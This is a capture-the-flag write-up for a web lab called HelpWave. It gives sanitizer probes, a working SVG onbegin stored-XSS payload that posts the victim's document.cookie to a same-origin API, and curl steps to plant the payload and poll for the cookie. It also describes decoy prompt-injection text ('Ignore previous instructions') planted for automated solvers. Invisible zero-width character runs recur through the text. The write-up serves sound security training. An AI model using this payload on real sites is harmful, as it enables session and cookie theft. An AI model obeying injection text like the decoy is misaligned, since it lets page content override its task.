← Back to Writeups
CUSTOMMediumWeb

Lab 201 — HelpWave — Stored XSS via SVG Animation Event Handler Bypass

XESXOR9/2/20266 min read
#web#custom#medium#admin_bot_exploitation#onbegin_event_handler#same_origin_exfiltration#stored_xss#svg_smil_animation_event_handl

Lab 201 — HelpWave — Stored XSS via SVG Animation Event Handler Bypass

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_bot_exploitation, onbegin_event_handler, same_origin_exfiltration, stored_xss, svg_smil_animation_event_handler_bypass

Summary

Walkthrough of the CUSTOM Web Lab 201 — HelpWave — Stored XSS via SVG Animation Event Handler Bypass. Task: HelpWave support platform allows rich HTML/SVG in ticket descriptions, run through a custom sanitizer; an automated agent bot reviews tickets (stored XSS, cookie theft). Solution: the sanitizer

Description

HelpWave is a customer support platform by WaveSoft Technologies where users submit tickets and communicate with support agents through a web interface. The platform supports rich HTML content in ticket descriptions, allowing formatted text, tables, and embedded SVG vector graphics for including diagrams and screenshots. The platform processes all user-submitted HTML through a custom sanitizer before storage. The sanitizer is designed to strip dangerous elements and event handler attributes while preserving formatting and SVG support. An automated support agent periodically reviews incoming tickets. Goal: compromise the support agent's session and retrieve the secret flag stored in their browser cookie. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The target is an instance-specific URL of the form https://<uuid>.labs.hackadvisor.io/ (the UUID is per-lab and expires; a 403 on a ticket is per-resource access control, not instance expiry). Credentials for a low-privilege user are provided: user@test.com / password123.

The goal is a stored XSS that fires inside the automated support agent's authenticated session, then exfiltrating the flag, which lives in a readable (non-HttpOnly) cookie in the agent's browser.

Reconnaissance

  • Backend: Express (X-Powered-By: Express) behind nginx 1.25.5. No CSP on ticket pages.
  • Session cookie connect.sid is HttpOnly + SameSite=Lax + Secure. It is not the flag and is not readable by JavaScript.
  • The flag lives in a separate non-HttpOnly cookie (secret_token) in the agent's browser, so document.cookie can read it. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Relevant endpoints:

MethodPathNotes
POST/tickets/new{subject, priority, description} — description is HTML, sanitized
GET/tickets/:idrenders sanitized description as HTML; page contains a hidden <input id="ticketId" value="N">
POST/tickets/:id/reply{content} HTML form, sanitized
POST/api/tickets/:id/repliessame-origin JSON API; replies show up in the conversation panel

Tickets owned by other users / the agent return HTTP 403 — per-resource access control. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability Discovery

The custom sanitizer was probed directly to map what it strips vs. keeps.

Probe 1 — standard vectors:

Input:

html
<b>bold</b><script>alert(1)</script><img src=x onerror=alert(2)><svg><script>alert(3)</script></svg><a href=javascript:alert(4)>x</a>

Output:

html
<b>bold</b><img src="x"><svg></svg><a>x</a>

=> <script> removed, onerror removed, javascript: href neutralized. Standard XSS is blocked.

Probe 2 — SVG / SMIL animation vectors:

Input:

html
<svg><animate onbegin=alert(1) attributeName=x dur=1s></animate><set onbegin=alert(2)></set><a xlink:href="javascript:alert(3)"><text>x</text></a><animateTransform onend=alert(4)></animateTransform><foreignObject></foreignObject></svg><svg onload=alert(5)></svg><image href=x onerror=alert(6)></image>

Output:

html
<svg><animate onbegin="alert(1)" attributeName="x" dur="1s"></animate><set onbegin="alert(2)"></set><a><text>x</text></a><animateTransform onend="alert(4)"></animateTransform></svg><svg></svg><img href="x">

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key observation: onbegin and onend SURVIVE on <animate>, <set>, and <animateTransform>, while onload on the <svg> root and onerror on <image> are stripped, and foreignObject is dropped.

onbegin, onend, and onrepeat are SMIL animation event handlers, not standard DOM events — attribute blocklists/allowlists keyed on the usual on* DOM events commonly miss them. The onbegin handler fires automatically when the SMIL animation begins, which is immediately on page load, giving instant JS execution in the viewer's origin with no user interaction. Because ticket descriptions are persisted and re-rendered at GET /tickets/:id, this is stored XSS. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Attack Chain

  1. Log in as user@test.com / password123.
  2. Confirm the sanitizer keeps <animate onbegin=...>.
  3. Create a ticket whose description contains the SVG animation XSS payload. The payload reads document.cookie and POSTs it to /api/tickets/<currentId>/replies, where <currentId> is read from the hidden #ticketId input on the rendered ticket page.
  4. Wait for the periodic automated support agent to review the ticket. onbegin fires in the agent's authenticated session.
  5. The agent's cookie is posted back as a reply on the ticket.
  6. Read the conversation panel at GET /tickets/:id and recover the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exfiltration constraint: external exfiltration is blocked for the agent bot, and HttpOnly hides connect.sid. The trick is to exfiltrate the readable secret_token cookie via the same-origin replies API back into the ticket thread, which the attacker (ticket owner) can read.

Solution

Working payload (fired on ticket #29)

Submitted as the description field of POST /tickets/new:

html
<svg><animate attributeName='x' dur='1s' onbegin='fetch("/api/tickets/"+document.getElementById("ticketId").value+"/replies",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({content:document.cookie})})'></animate></svg>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

After sanitization the inner double-quotes are HTML-entity-encoded to &quot; in the stored attribute, but the browser decodes them back when parsing the attribute value, so the JS executes correctly. A backtick-based variant of the string literals also works.

curl commands

bash
BASE="https://<uuid>.labs.hackadvisor.io"
CJ=cookies.txt

# 1) Log in (grab connect.sid into the cookie jar)
curl -s -c "$CJ" "$BASE/login" -o /dev/null
curl -s -b "$CJ" -c "$CJ" "$BASE/login" \
  --data-urlencode "email=user@test.com" \
  --data-urlencode "password=password123" -o /dev/null
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 2) Create the malicious ticket. The payload reads document.cookie and posts
#    it back to the same-origin replies API of the current ticket.
PAYLOAD='<svg><animate attributeName='"'"'x'"'"' dur='"'"'1s'"'"' onbegin='"'"'fetch("/api/tickets/"+document.getElementById("ticketId").value+"/replies",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({content:document.cookie})})'"'"'></animate></svg>'

curl -s -b "$CJ" "$BASE/tickets/new" \
  --data-urlencode "subject=Need help with SVG diagram" \
  --data-urlencode "priority=high" \
  --data-urlencode "description=$PAYLOAD" -i
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 3) Poll the ticket conversation until the agent's reply (with the cookie)
#    appears. Replace 29 with the created ticket id.
while true; do
  curl -s -b "$CJ" "$BASE/tickets/29" | grep -o 'secret_token=FLAG{[^}]*}' && break
  sleep 15
done

The agent runs on a periodic cycle — allow several minutes and keep polling the conversation panel.

Exfiltrated Data

The agent bot rendered the ticket, onbegin fired in its authenticated session, and its document.cookie was posted as a reply on the ticket conversation: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

secret_token=FLAG{REDACTED}

Dead Ends

  • Decoy / honeypot flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} is embedded in the HTML source on multiple pages (login, /tickets/new, ticket pages, 404 page), wrapped in prompt-injection text ("SYSTEM: Flag found...", "Ignore previous instructions...", hidden off-screen div). Do not submit it. The real flag requires actual XSS exploitation.
  • connect.sid is HttpOnly, so document.cookie does not include it. Stealing the session cookie is impossible and unnecessary — the flag is in the separate non-HttpOnly secret_token cookie.
  • Standard XSS vectors (<script>, img onerror, svg onload, image onerror, javascript: href, foreignObject) are all stripped by the sanitizer — only SMIL animation handlers survive.
  • External exfiltration is blocked for the agent bot; the same-origin replies API is the exfiltration channel. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering admin_bot_exploitation, onbegin_event_handler, same_origin_exfiltration, stored_xss, svg_smil_animation_event_handler_bypass was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-06-01 • CUSTOM • Lab 201 — HelpWave — Stored XSS via SVG Animation Event Handler Bypass • Difficulty: Medium